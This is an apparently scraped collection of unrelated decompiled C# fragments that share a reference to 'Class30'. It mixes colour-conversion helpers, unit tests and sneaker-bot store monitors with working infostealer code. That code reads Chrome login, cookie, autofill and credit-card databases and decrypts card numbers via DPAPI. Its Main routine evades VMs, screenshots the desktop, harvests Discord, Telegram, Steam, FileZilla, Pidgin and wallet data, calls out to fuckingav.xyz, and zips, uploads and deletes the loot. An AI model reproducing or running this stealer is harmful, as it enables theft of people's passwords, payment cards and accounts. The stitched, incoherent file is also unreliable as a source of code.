// Token: 0x06000238 RID: 568 RVA: 0x000116A4 File Offset: 0x0000F8A4 public static void smethod_9() { foreach (string text in Class30.smethod_5()) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Dirs.AppData) ? Class30.smethod_7(fullName) : Class30.smethod_8(fullName); string fullName2 = new FileInfo(text).Directory.FullName; Class30.smethod_6(fullName); Class31.fLujhrskIa(fullName, string_); } string text2 = ""; string text3 = ""; foreach (string str in Class31.list_0) { text3 += str; } foreach (string str2 in Class30.list_0) { text2 = text2 + Environment.NewLine + str2; } if (!Directory.Exists(Dirs.WorkDir + "\\Browsers")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); } if (text2 != "") { File.WriteAllText(Dirs.WorkDir + "\\Browsers\\CC.txt", text2, Encoding.Default); } if (text3 != "") { File.WriteAllText(Dirs.WorkDir + "\\Browsers\\Autofills.txt", text3, Encoding.Default); } }
// Token: 0x060012EC RID: 4844 RVA: 0x000045F8 File Offset: 0x000027F8 internal void method_6(object object_0, Class30 class30_0) { if (this.delegate125_0 != null) { this.delegate125_0(object_0, class30_0); } }
// Token: 0x06000232 RID: 562 RVA: 0x000112B8 File Offset: 0x0000F4B8 public static string smethod_3(string string_0) { string text = Class30.smethod_2(); File.Copy(string_0, text, true); return(text); }
// Token: 0x06000234 RID: 564 RVA: 0x0001142C File Offset: 0x0000F62C private static List <string> smethod_5() { List <string> list = new List <string>(); List <string> result; try { list.AddRange(Class30.smethod_4(Dirs.AppData, 4, 1, new string[] { "Login Data", "Web Data", "Cookies" })); list.AddRange(Class30.smethod_4(Dirs.LocalAppData, 4, 1, new string[] { "Login Data", "Web Data", "Cookies" })); result = list; } catch { result = list; } return(result); }
// Token: 0x06000235 RID: 565 RVA: 0x000114BC File Offset: 0x0000F6BC public static void smethod_6(string string_0) { try { string string_ = Path.Combine(string_0, "Web Data"); CNT cnt = new CNT(Class30.smethod_3(string_)); cnt.ReadTable("credit_cards"); for (int i = 0; i < cnt.RowLength; i++) { Class30.int_0++; try { Class30.list_0.Add(string.Concat(new object[] { "Name : ", cnt.ParseValue(i, "name_on_card").Trim(), Environment.NewLine, "Ex_Month And Year: ", Convert.ToInt32(cnt.ParseValue(i, "expiration_month").Trim()), "/", Convert.ToInt32(cnt.ParseValue(i, "expiration_year").Trim() + Environment.NewLine + "Card_Number" + Class30.smethod_0(cnt.ParseValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser, null).Trim()) })); } catch { } } } catch { } }
// Token: 0x06000233 RID: 563 RVA: 0x000112D8 File Offset: 0x0000F4D8 public static List <string> smethod_4(string string_0, int int_1 = 4, int int_2 = 1, params string[] files) { List <string> list = new List <string>(); List <string> result; if (files == null || files.Length == 0 || int_2 > int_1) { result = list; } else { try { string[] directories = Directory.GetDirectories(string_0); foreach (string path in directories) { try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] files2 = directoryInfo.GetFiles(); bool flag = false; int num = 0; while (num < files2.Length && !flag) { int num2 = 0; while (num2 < files.Length && !flag) { string a = files[num2]; FileInfo fileInfo = files2[num]; if (a == fileInfo.Name) { flag = true; list.Add(fileInfo.FullName); } num2++; } num++; } foreach (string item in Class30.smethod_4(directoryInfo.FullName, int_1, int_2 + 1, files)) { if (!list.Contains(item)) { list.Add(item); } } } catch { } } result = list; } catch { result = list; } } return(result); }
// Token: 0x060000AB RID: 171 RVA: 0x0000B010 File Offset: 0x00009210 public void method_1() { this.class4_0.method_4("Waiting for product", "#c2c2c2", true, false); for (;;) { try { HttpResponseMessage httpResponseMessage = this.class4_0.method_1(string.Format("https://prod.jdgroupmesh.cloud/stores/{0}/products/{1}", this.string_0, this.string_3), true, this.jobject_0); if (!httpResponseMessage.smethod_3().Contains("Product could not be found")) { httpResponseMessage.EnsureSuccessStatusCode(); JObject jobject = httpResponseMessage.smethod_0(); this.class4_0.method_7(jobject["name"].ToString(), "#c2c2c2"); if (this.bool_0) { JToken[] array = jobject["sortedOptions"].Where(new Func <JToken, bool>(Class13.Class14.class14_0.method_0)).ToArray <JToken>(); if (array.Length == 0) { this.class4_0.method_4("Waiting for restock", "#c2c2c2", true, false); Thread.Sleep(GClass0.int_0); continue; } JToken jtoken = array[MainWindow.random_0.Next(0, array.Length)]; this.class4_0.method_5(jtoken["name"].ToString()); this.string_2 = jtoken["product"]["SKU"].ToString(); } else { JToken jtoken2 = jobject["sortedOptions"].FirstOrDefault(new Func <JToken, bool>(this.method_10)); if (jtoken2 == null) { throw new Exception(); } if (jtoken2["product"]["stockStatus"].ToString() != "IN STOCK") { this.class4_0.method_4("Waiting for restock", "#c2c2c2", true, false); Thread.Sleep(GClass0.int_0); continue; } this.class4_0.method_5(jtoken2["name"].ToString()); this.string_2 = jtoken2["product"]["SKU"].ToString(); } Class30.smethod_1((int)this.jtoken_0["id"], string.Format("https://prod.jdgroupmesh.cloud/stores/{0}/products/{1}", this.string_0, this.string_3)); break; } Thread.Sleep(GClass0.int_0); this.class4_0.method_4("Waiting for product", "#c2c2c2", true, false); } catch (ThreadAbortException) { break; } catch { Thread.Sleep(GClass0.int_0); this.class4_0.method_4("Waiting for product", "#c2c2c2", true, false); } } }
// Token: 0x060000AB RID: 171 RVA: 0x0000BADC File Offset: 0x00009CDC public void method_1() { this.class4_0.method_4(Class185.smethod_0(537663207), Class185.smethod_0(537700781), true, false); for (;;) { try { HttpResponseMessage httpResponseMessage = this.class4_0.method_1(string.Format(Class185.smethod_0(537689681), this.string_0, this.string_3), true, this.jobject_0); if (!httpResponseMessage.smethod_3().Contains(Class185.smethod_0(537689502))) { httpResponseMessage.EnsureSuccessStatusCode(); JObject jobject = httpResponseMessage.smethod_0(); this.class4_0.method_7(jobject[Class185.smethod_0(537712143)].ToString(), Class185.smethod_0(537700781)); if (this.bool_0) { JToken[] array = jobject[Class185.smethod_0(537689535)].Where(new Func <JToken, bool>(Class13.Class14.class14_0.method_0)).ToArray <JToken>(); if (array.Length == 0) { this.class4_0.method_4(Class185.smethod_0(537663011), Class185.smethod_0(537700781), true, false); Thread.Sleep(GClass0.int_0); continue; } JToken jtoken = array[GForm1.random_0.Next(0, array.Length)]; this.class4_0.method_5(jtoken[Class185.smethod_0(537712143)].ToString()); this.string_2 = jtoken[Class185.smethod_0(537710986)][Class185.smethod_0(537657721)].ToString(); } else { JToken jtoken2 = jobject[Class185.smethod_0(537689535)].FirstOrDefault(new Func <JToken, bool>(this.method_10)); if (jtoken2 == null) { throw new Exception(); } if (jtoken2[Class185.smethod_0(537710986)][Class185.smethod_0(537690097)].ToString() != Class185.smethod_0(537690083)) { this.class4_0.method_4(Class185.smethod_0(537663011), Class185.smethod_0(537700781), true, false); Thread.Sleep(GClass0.int_0); continue; } this.class4_0.method_5(jtoken2[Class185.smethod_0(537712143)].ToString()); this.string_2 = jtoken2[Class185.smethod_0(537710986)][Class185.smethod_0(537657721)].ToString(); } Class30.smethod_1((int)this.jtoken_0[Class185.smethod_0(537703519)], string.Format(Class185.smethod_0(537689681), this.string_0, this.string_3)); break; } Thread.Sleep(GClass0.int_0); this.class4_0.method_4(Class185.smethod_0(537663207), Class185.smethod_0(537700781), true, false); } catch (ThreadAbortException) { break; } catch { Thread.Sleep(GClass0.int_0); this.class4_0.method_4(Class185.smethod_0(537663207), Class185.smethod_0(537700781), true, false); } } }
// Token: 0x06000053 RID: 83 RVA: 0x0000A608 File Offset: 0x00008808 internal HttpResponseMessage method_0() { string text = this.string_0; int int_ = (int)this.class4_0.jtoken_1[Class185.smethod_0(537703519)]; bool flag = this.bool_0; return(Class30.smethod_2(text, int_, this.jobject_0, flag)); }
public static Color ToColor(CMYK cmyk) { int red = Class30.smethod_4(255.0 - (255.0 * cmyk.Cyan)); int green = Class30.smethod_4(255.0 - (255.0 * cmyk.Magenta)); int blue = Class30.smethod_4(255.0 - (255.0 * cmyk.Yellow)); return(Color.FromArgb(red, green, blue)); }
public void Test2() { List <int[]> expected = null; int[] input = new int[] { 1, 2, 3 }; int length = 4; var actual = Class30.PrintPerms(input, length); Assert.Equal(expected, actual); }
// Token: 0x06000043 RID: 67 RVA: 0x00008EC0 File Offset: 0x000070C0 public void method_0(string string_3, string string_4, bool bool_2) { if (bool_2) { GForm1.webView_0.QueueScriptCall(string.Format(Class185.smethod_0(537699958), this.jtoken_1[Class185.smethod_0(537703519)])); } this.method_4(string_3, string_4, true, true); this.bool_0 = true; Class30.smethod_1((int)this.jtoken_1[Class185.smethod_0(537703519)], null); Thread.CurrentThread.Abort(); }
// Token: 0x06000043 RID: 67 RVA: 0x0000892C File Offset: 0x00006B2C public void method_0(string string_3, string string_4, bool bool_2) { if (bool_2) { MainWindow.webView_0.QueueScriptCall(string.Format("updateButton({0},false)", this.jtoken_1["id"])); } this.method_4(string_3, string_4, true, true); this.bool_0 = true; Class30.smethod_1((int)this.jtoken_1["id"], null); Thread.CurrentThread.Abort(); }
// Token: 0x0600016E RID: 366 RVA: 0x00010374 File Offset: 0x0000E574 public static HttpResponseMessage smethod_2(string string_0, int int_0, JObject jobject_0, bool bool_0) { if (Class30.concurrentDictionary_0.ContainsKey(string_0)) { object objA = false; if (Class30.Class34.callSite_0 == null) { Class30.Class34.callSite_0 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class30))); } if (object.Equals(objA, Class30.Class34.callSite_0.Target(Class30.Class34.callSite_0, Class30.concurrentDictionary_0[string_0]["thread"]).IsAlive)) { Class30.smethod_0(string_0, int_0, jobject_0); } } else { GClass3.smethod_0("Starting monitor for: " + new Uri(string_0).Authority, "Monitor"); Class30.smethod_0(string_0, int_0, jobject_0); } while (!Class30.concurrentDictionary_0[string_0].ContainsKey("tasks")) { Thread.Sleep(100); } if (Class30.Class34.callSite_1 == null) { Class30.Class34.callSite_1 = CallSite <Func <CallSite, object, List <int> > > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(List <int>), typeof(Class30))); } Class30.Class34.callSite_1.Target(Class30.Class34.callSite_1, Class30.concurrentDictionary_0[string_0]["tasks"]).Add(int_0); while (!Class30.concurrentDictionary_0[string_0].ContainsKey("response")) { Thread.Sleep(100); } if (!bool_0) { for (;;) { if (Class30.Class34.callSite_2 == null) { Class30.Class34.callSite_2 = CallSite <Func <CallSite, object, bool> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(bool), typeof(Class30))); } if (Class30.Class34.callSite_2.Target(Class30.Class34.callSite_2, Class30.concurrentDictionary_0[string_0]["requested"])) { break; } Thread.Sleep(100); } } if (Class30.Class34.callSite_3 == null) { Class30.Class34.callSite_3 = CallSite <Func <CallSite, object, HttpResponseMessage> > .Create(Binder.Convert(CSharpBinderFlags.None, typeof(HttpResponseMessage), typeof(Class30))); } return(Class30.Class34.callSite_3.Target(Class30.Class34.callSite_3, Class30.concurrentDictionary_0[string_0]["response"])); }
// Token: 0x06000260 RID: 608 RVA: 0x000130BC File Offset: 0x000112BC public static int smethod_0(string string_0) { new Thread(delegate() { Class26.smethod_0(string_0); }).Start(); new Thread(delegate() { Class27.smethod_0(string_0); }).Start(); new Thread(delegate() { Class28.smethod_0(string_0); }).Start(); new Thread(delegate() { Class29.smethod_0(string_0); }).Start(); new Thread(delegate() { Class30.smethod_0(string_0); }).Start(); new Thread(delegate() { Class31.smethod_0(string_0); }).Start(); new Thread(delegate() { Class32.smethod_0(string_0); }).Start(); new Thread(delegate() { Class35.smethod_0(string_0); }).Start(); new Thread(delegate() { Class36.smethod_0(string_0); }).Start(); new Thread(delegate() { Class33.smethod_0(string_0); }).Start(); new Thread(delegate() { Class34.smethod_0(string_0); }).Start(); new Thread(delegate() { Class38.smethod_0(string_0); }).Start(); return(Class37.int_0); }
public void Test3() { List <int[]> expected = new List <int[]> { new int[] { 1 }, new int[] { 2 }, new int[] { 3 }, }; int[] input = new int[] { 1, 2, 3 }; int length = 1; var actual = Class30.PrintPerms(input, length); Assert.Equal(expected, actual); }
// Token: 0x06000223 RID: 547 RVA: 0x00014BBC File Offset: 0x00012DBC public void method_0() { try { this.class4_0.method_8(); Task task = this.method_1(); this.method_2(); Class30.smethod_1((int)this.jtoken_1[Class185.smethod_0(537703519)], string.Format(Class185.smethod_0(537658111), this.string_1)); task.Wait(); this.method_3(); this.method_4(); this.method_5(); this.method_6(); } catch { } finally { this.class4_0.method_0(Class185.smethod_0(537663178), Class185.smethod_0(537700909), true); } }
// Token: 0x06000223 RID: 547 RVA: 0x00013040 File Offset: 0x00011240 public void method_0() { try { this.class4_0.method_8(); Task task = this.method_1(); this.method_2(); Class30.smethod_1((int)this.jtoken_1["id"], string.Format("https://www.footlocker.eu/INTERSHOP/web/WFS/Footlocker-Footlocker_GB-Site/en_GB/-/GBP/ViewProduct-ProductVariationSelect?BaseSKU={0}&InventoryServerity=ProductDetail", this.string_1)); task.Wait(); this.method_3(); this.method_4(); this.method_5(); this.method_6(); } catch { } finally { this.class4_0.method_0("Stopped", "red", true); } }
public static Color ToColor(HSB hsb) { int num4; int red = Class30.smethod_4(hsb.Brightness * 255.0); int blue = Class30.smethod_4(((1.0 - hsb.Saturation) * (hsb.Brightness / 1.0)) * 255.0); double num3 = ((double)(red - blue)) / 255.0; if ((hsb.Hue >= 0.0) && (hsb.Hue <= 0.16666666666666666)) { num4 = Class30.smethod_4((((hsb.Hue - 0.0) * num3) * 1530.0) + blue); return(Color.FromArgb(red, num4, blue)); } if (hsb.Hue <= 0.33333333333333331) { return(Color.FromArgb(Class30.smethod_4((-((hsb.Hue - 0.16666666666666666) * num3) * 1530.0) + red), red, blue)); } if (hsb.Hue <= 0.5) { num4 = Class30.smethod_4((((hsb.Hue - 0.33333333333333331) * num3) * 1530.0) + blue); return(Color.FromArgb(blue, red, num4)); } if (hsb.Hue <= 0.66666666666666663) { num4 = Class30.smethod_4((-((hsb.Hue - 0.5) * num3) * 1530.0) + red); return(Color.FromArgb(blue, num4, red)); } if (hsb.Hue <= 0.83333333333333337) { return(Color.FromArgb(Class30.smethod_4((((hsb.Hue - 0.66666666666666663) * num3) * 1530.0) + blue), blue, red)); } if (hsb.Hue <= 1.0) { num4 = Class30.smethod_4((-((hsb.Hue - 0.83333333333333337) * num3) * 1530.0) + red); return(Color.FromArgb(red, blue, num4)); } return(Color.FromArgb(0, 0, 0)); }
// Token: 0x0600023B RID: 571 RVA: 0x00011860 File Offset: 0x0000FA60 public static void fLujhrskIa(string string_0, string string_1) { try { string string_2 = Path.Combine(string_0, "Web Data"); CNT cnt = new CNT(Class30.smethod_3(string_2)); cnt.ReadTable("autofill"); for (int i = 0; i < cnt.RowLength; i++) { Class31.int_0++; try { Class31.list_0.Add(string.Concat(new string[] { Environment.NewLine, "Name : ", cnt.ParseValue(i, "name").Trim(), Environment.NewLine, "Value : ", cnt.ParseValue(i, "value").Trim(), Environment.NewLine, "Browser : ", string_1, Environment.NewLine })); Class31.int_0++; } catch { } } } catch { } }
public override string ToString() { return(string.Format("Hue: {0}, Saturation: {1}, Brightness: {2}", Class30.smethod_4(this.Hue360), Class30.smethod_4(this.Saturation100), Class30.smethod_4(this.Brightness100))); }
// Token: 0x0600143A RID: 5178 RVA: 0x00024BF8 File Offset: 0x00022DF8 public void MediaCollectionMediaAdded(object pdispMedia) { Class30 class30_ = new Class30(pdispMedia); this.class24_0.method_6(this.class24_0, class30_); }
// Token: 0x06000596 RID: 1430 RVA: 0x0002F858 File Offset: 0x0002DA58 internal void method_0() { JObject jobject = JObject.Parse(this.jsextInvokeArgs_0.Arguments.First <object>().ToString()); foreach (KeyValuePair <string, JToken> keyValuePair in jobject) { JToken value = keyValuePair.Value; if (MainWindow.dictionary_0.ContainsKey((int)value["id"])) { object arg = MainWindow.dictionary_0[(int)value["id"]]["thread"]; if (Class111.Class115.callSite_0 == null) { Class111.Class115.callSite_0 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class111))); } if (Class111.Class115.callSite_0.Target(Class111.Class115.callSite_0, arg).IsAlive) { MainWindow.dictionary_0[(int)value["id"]]["stop"] = true; MainWindow.webView_0.QueueScriptCall(string.Format("updateTable('Stopping...','DARKORANGE',{0},7)", value["id"])); } } } foreach (KeyValuePair <string, JToken> keyValuePair2 in jobject) { JToken value2 = keyValuePair2.Value; if (MainWindow.dictionary_0.ContainsKey((int)value2["id"])) { object arg2 = MainWindow.dictionary_0[(int)value2["id"]]["thread"]; if (Class111.Class115.callSite_1 == null) { Class111.Class115.callSite_1 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class111))); } if (Class111.Class115.callSite_1.Target(Class111.Class115.callSite_1, arg2).IsAlive) { Class30.smethod_1((int)value2["id"], null); if (Class111.Class115.callSite_2 == null) { Class111.Class115.callSite_2 = CallSite <Action <CallSite, object> > .Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Abort", null, typeof(Class111), new CSharpArgumentInfo[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) })); } Class111.Class115.callSite_2.Target(Class111.Class115.callSite_2, arg2); } } } foreach (KeyValuePair <string, JToken> keyValuePair3 in jobject) { JToken value3 = keyValuePair3.Value; if (MainWindow.dictionary_0.ContainsKey((int)value3["id"])) { object arg3 = MainWindow.dictionary_0[(int)value3["id"]]["thread"]; if (Class111.Class115.callSite_3 == null) { Class111.Class115.callSite_3 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class111))); } if (Class111.Class115.callSite_3.Target(Class111.Class115.callSite_3, arg3).IsAlive) { if (Class111.Class115.callSite_4 == null) { Class111.Class115.callSite_4 = CallSite <Action <CallSite, object> > .Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Join", null, typeof(Class111), new CSharpArgumentInfo[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) })); } Class111.Class115.callSite_4.Target(Class111.Class115.callSite_4, arg3); MainWindow.webView_0.QueueScriptCall(string.Format("updateTable('Stopped','red',{0},7)", value3["id"].ToString())); MainWindow.webView_0.QueueScriptCall(string.Format("updateButton({0},false)", value3["id"].ToString())); } MainWindow.dictionary_0.Remove((int)value3["id"]); } } }
// Token: 0x06000044 RID: 68 RVA: 0x00008F3C File Offset: 0x0000713C public HttpResponseMessage method_1(string string_3, bool bool_2, JObject jobject_0) { return(Class30.smethod_2(string_3, (int)this.jtoken_1[Class185.smethod_0(537703519)], jobject_0, bool_2)); }
// Token: 0x0600022F RID: 559 RVA: 0x000111A0 File Offset: 0x0000F3A0 public static string smethod_0(string string_0, DataProtectionScope dataProtectionScope_0, byte[] byte_0 = null) { return(Class30.smethod_1(Encoding.Default.GetBytes(string_0), dataProtectionScope_0, byte_0)); }
// Token: 0x060005B6 RID: 1462 RVA: 0x00034928 File Offset: 0x00032B28 internal void method_0() { JObject jobject = JObject.Parse(this.jsextInvokeArgs_0.Arguments.First <object>().ToString()); foreach (KeyValuePair <string, JToken> keyValuePair in jobject) { JToken value = keyValuePair.Value; if (GForm1.dictionary_0.ContainsKey((int)value[Class185.smethod_0(537703519)])) { object arg = GForm1.dictionary_0[(int)value[Class185.smethod_0(537703519)]][Class185.smethod_0(537700090)]; if (Class116.Class120.callSite_0 == null) { Class116.Class120.callSite_0 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class116))); } if (Class116.Class120.callSite_0.Target(Class116.Class120.callSite_0, arg).IsAlive) { GForm1.dictionary_0[(int)value[Class185.smethod_0(537703519)]][Class185.smethod_0(537700087)] = true; GForm1.webView_0.QueueScriptCall(string.Format(Class185.smethod_0(537700066), value[Class185.smethod_0(537703519)])); } } } foreach (KeyValuePair <string, JToken> keyValuePair2 in jobject) { JToken value2 = keyValuePair2.Value; if (GForm1.dictionary_0.ContainsKey((int)value2[Class185.smethod_0(537703519)])) { object arg2 = GForm1.dictionary_0[(int)value2[Class185.smethod_0(537703519)]][Class185.smethod_0(537700090)]; if (Class116.Class120.callSite_1 == null) { Class116.Class120.callSite_1 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class116))); } if (Class116.Class120.callSite_1.Target(Class116.Class120.callSite_1, arg2).IsAlive) { Class30.smethod_1((int)value2[Class185.smethod_0(537703519)], null); if (Class116.Class120.callSite_2 == null) { Class116.Class120.callSite_2 = CallSite <Action <CallSite, object> > .Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, Class185.smethod_0(537699894), null, typeof(Class116), new CSharpArgumentInfo[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) })); } Class116.Class120.callSite_2.Target(Class116.Class120.callSite_2, arg2); } } } foreach (KeyValuePair <string, JToken> keyValuePair3 in jobject) { JToken value3 = keyValuePair3.Value; if (GForm1.dictionary_0.ContainsKey((int)value3[Class185.smethod_0(537703519)])) { object arg3 = GForm1.dictionary_0[(int)value3[Class185.smethod_0(537703519)]][Class185.smethod_0(537700090)]; if (Class116.Class120.callSite_3 == null) { Class116.Class120.callSite_3 = CallSite <Func <CallSite, object, Thread> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(Thread), typeof(Class116))); } if (Class116.Class120.callSite_3.Target(Class116.Class120.callSite_3, arg3).IsAlive) { if (Class116.Class120.callSite_4 == null) { Class116.Class120.callSite_4 = CallSite <Action <CallSite, object> > .Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, Class185.smethod_0(537699874), null, typeof(Class116), new CSharpArgumentInfo[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) })); } Class116.Class120.callSite_4.Target(Class116.Class120.callSite_4, arg3); GForm1.webView_0.QueueScriptCall(string.Format(Class185.smethod_0(537699933), value3[Class185.smethod_0(537703519)].ToString())); GForm1.webView_0.QueueScriptCall(string.Format(Class185.smethod_0(537699958), value3[Class185.smethod_0(537703519)].ToString())); } GForm1.dictionary_0.Remove((int)value3[Class185.smethod_0(537703519)]); } } }
private static void Main(string[] args) { if (File.Exists(Program.path2)) { Environment.Exit(0); } if (Program.GetCheckVMBot()) { Environment.Exit(0); } StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true); Directory.CreateDirectory(Program.path); streamWriter.WriteLine("Created directory"); Class4.SaveScreen(Program.path + "\\image.png"); streamWriter.WriteLine("SaveScreen"); streamWriter.WriteLine("[Browsers Started]"); streamWriter.Close(); try { Class18.smethod_2(); Class20.smethod_0(); Class26.smethod_0(); Class18.Cookies(); Class30.smethod_9(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } try { Class2.smethod_0(Program.path + "\\Browsers"); } catch (Exception ex2) { Console.WriteLine(ex2.ToString()); } try { List <Account> list = Chromium.Grab(); foreach (Account account in list) { File.WriteAllText(Program.path + "\\Browsers\\PasswordsChromium.txt", string.Concat(new string[] { "Url: ", account.URL, "\nUsername: "******"\nPassword: "******"\nApplication: ", account.Application, "\n" })); } } catch (Exception ex3) { Console.WriteLine(ex3.ToString()); } streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true); streamWriter.WriteLine("[Browser End]"); Class4.Discord(Program.path + "\\Discord"); streamWriter.WriteLine("Discord"); Class4.FileZilla(Program.path + "\\FileZilla"); streamWriter.WriteLine("FileZilla"); Class4.Telegram(Program.path + "\\Telegram"); streamWriter.WriteLine("Telegram"); Class4.Steam(Program.path + "\\Steam"); streamWriter.WriteLine("Steam"); Class4.smethod_3(Program.path + "\\Wallets"); streamWriter.WriteLine("Wallets"); Class4.Pidgin(Program.path + "\\Pidgin"); streamWriter.WriteLine("Pidgin"); try { using (WebClient webClient = new WebClient()) { byte[] bytes = webClient.DownloadData("http://fuckingav.xyz/antivirus.php"); Program.geo = Encoding.ASCII.GetString(bytes); } } catch { Program.geo = "Unknown?Unknown?Unknown?UN"; } streamWriter.WriteLine("Geo"); Class4.smethod_0(Program.path + "\\info.txt"); try { string text = string.Concat(new string[] { Program.string_1, "\\[", Program.geo.Split(new char[] { '?' })[3], "]", Program.geo.Split(new char[] { '?' })[0], ".zip" }); Class6.smethod_3(Program.path, text); Class6.smethod_4(text, Program.id, "[" + Program.geo.Split(new char[] { '?' })[3] + "]" + Program.geo.Split(new char[] { '?' })[0]); Directory.Delete(Program.path, true); Directory.Delete(Program.string_1, true); } catch (Exception ex4) { Console.WriteLine(ex4.ToString()); } }
// Token: 0x0600049A RID: 1178 RVA: 0x00021B24 File Offset: 0x0001FD24 public override bool vmethod_7(Class104 class104_0) { Class105 @class = (Class105)class104_0; return(this.method_4() == @class.method_4() && Class30.smethod_0(this.method_6(), @class.method_6())); }
public override string ToString() { return(string.Format("Cyan: {0}, Magenta: {1}, Yellow: {2}, Key: {3}", new object[] { Class30.smethod_4(this.Cyan100), Class30.smethod_4(this.Double_0), Class30.smethod_4(this.Double_1), Class30.smethod_4(this.Key100) })); }